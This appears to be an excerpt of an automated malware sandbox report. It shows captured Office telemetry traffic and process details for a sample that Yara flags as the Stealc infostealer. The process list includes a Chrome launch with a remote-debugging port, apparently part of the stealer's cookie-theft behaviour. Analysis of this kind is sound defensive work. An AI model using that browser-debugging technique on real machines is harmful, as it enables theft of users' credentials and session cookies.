2024-11-28 05:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 580008bf-301e-0000-1d8a-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054910Z-174f78459688l8rvhC1EWRtzr00000000afg00000000kvpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:10 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:10 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 78026cae-d01e-0082-044f-41e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054910Z-174f7845968psccphC1EWRuz9s0000000yb00000000025m5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:10 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 6e1934d2-a01e-006f-595c-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054911Z-174f7845968glpgnhC1EWR7uec0000000y3g00000000d0y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:11 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:10 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:11 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:11 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: ce9cfc58-401e-000a-6d62-404a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054911Z-174f7845968l4kp6hC1EWRe8840000000y7000000000ashr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:11 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:11 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:11 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3a543f6e-a01e-001e-581f-4149ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054911Z-174f7845968l4kp6hC1EWRe8840000000ya0000000004g8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:13 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:13 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97972df5-901e-008f-1591-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054913Z-174f7845968kvnqxhC1EWRmf3g0000000gu0000000007nnf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:13 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:13 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:13 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 59abf26e-d01e-0065-394a-40b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054913Z-174f7845968zgtf6hC1EWRqd8s0000000qy0000000009x3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:13 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:14 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:14 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: bc455531-901e-0064-7a1b-41e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054914Z-174f7845968cdxdrhC1EWRg0en0000000y1000000000320r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 05:49:14 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:14 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2150929f-401e-0064-4382-3f54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054915Z-174f7845968nxc96hC1EWRspw80000000xtg000000004mu2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:15 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:15 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:15 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: bc9cf7b6-201e-0096-1454-40ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054915Z-174f7845968zgtf6hC1EWRqd8s0000000r1g000000002b8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:15 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49930	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 05:49:15 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 05:49:15 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 05:49:15 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 106d4033-401e-008c-3691-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T054915Z-174f78459688l8rvhC1EWRtzr00000000aq00000000024ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 05:49:15 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Target ID:	0
Start time:	00:47:56
Start date:	28/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x670000
File size:	1'864'192 bytes
MD5 hash:	02DB246E909A8CD8C3D2B6767AF32136
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2052544248.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2581383835.0000000000671000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:48:07
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:48:07
Start date:	28/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2188,i,14208366846228891866,12356919206208960145,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:48:18
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
